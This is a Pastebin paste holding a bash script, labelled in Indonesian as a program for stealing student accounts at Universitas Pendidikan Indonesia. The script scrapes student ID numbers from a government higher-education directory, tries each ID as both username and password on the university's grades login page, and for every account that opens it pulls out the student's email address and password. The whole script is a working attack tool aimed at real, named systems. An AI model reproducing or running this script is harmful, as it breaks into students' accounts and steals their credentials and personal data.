Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- n=0
- m="\033[1;31m"
- h="\033[1;32m"
- d="\033[0;37m"
- b="\033[1;34m"
- p="\033[1;37m"
- url="https://forlap.ristekdikti.go.id/mahasiswa/detailsemester/QkQ4NzQxQjQtRUM3NC00RTQ1LTg0NDItRjJENTg5NDY0OTk0/20132/"
- page="2780"
- echo -e "${p}==========================================="
- echo -e "||${h} Program pencuri akun mahasiswa ${p}||"
- echo -e "||${h} Universitas Pendidikan Indonesia ${p}||"
- echo -e "==========================================="
- echo -e "[${m}!${p}]${d} Limit NIM yang kita ambil : ${h}$page${p}"
- echo -e "[${m}!${p}]${d} Kita coba kumpulkan nim...${p}"
- while true; do
- n=$[n+20];
- curl "${url}${n}" -s | \
- grep "<td>" | \
- grep -v "ristek" | \
- awk '{print $1}' | \
- cut -d ">" -f 2 | \
- cut -d "<" -f 1 >> upi1.txt
- echo -e "[${b}*${p}] ${d}$n NIM berhasil tersimpan...${p}"
- if [[ "$n" == "$page" ]]; then
- echo -e "[${m}!${p}] ${d}NIM telah tersimpan...${p}"
- break
- fi
- done
- cat upi1.txt | sort -u > upi.txt
- rm upi1.txt
- echo -e "[${m}!${p}] ${d}Cek nim ke system nilai...${p}"
- cat upi.txt | while read dd; do
- cek="$(curl -i -s -k -X $'POST' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0' -H $'Referer: http://sino2.upi.edu/nilai/' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Upgrade-Insecure-Requests: 1' --data-binary "sps_user_id=${dd}&sps_user_pw=${dd}" $'http://sino2.upi.edu/nilai/login.php' | grep Login | cut -d '>' -f 4 | cut -d '<' -f 1)"
- if [[ "$cek" == "Login" ]]; then
- echo > /dev/null
- else
- echo -e "[${h}+${p}] ${d}User/Password : ${h}$dd${p}"
- echo -e "[${h}+${p}] ${d}Akun email : ${h}$(curl -s -b $(curl -i -X 'POST' --data-binary "sps_user_id=${dd}&sps_user_pw=${dd}" $'http://sino2.upi.edu/nilai/login.php' -s | grep PHPSESSID | cut -d " " -f 2) http://sino2.upi.edu/nilai/table2.php | grep student.upi.edu | cut -d " " -f 2,3 | sed "s/<br>Password: /:/g" | cut -d "<" -f1)${p}"
- fi
- done
- echo -e "[${m}!${p}] ${d}Pengambilan data mahasiswa selesai..."
Advertisement
Add Comment
Please, Sign In to add comment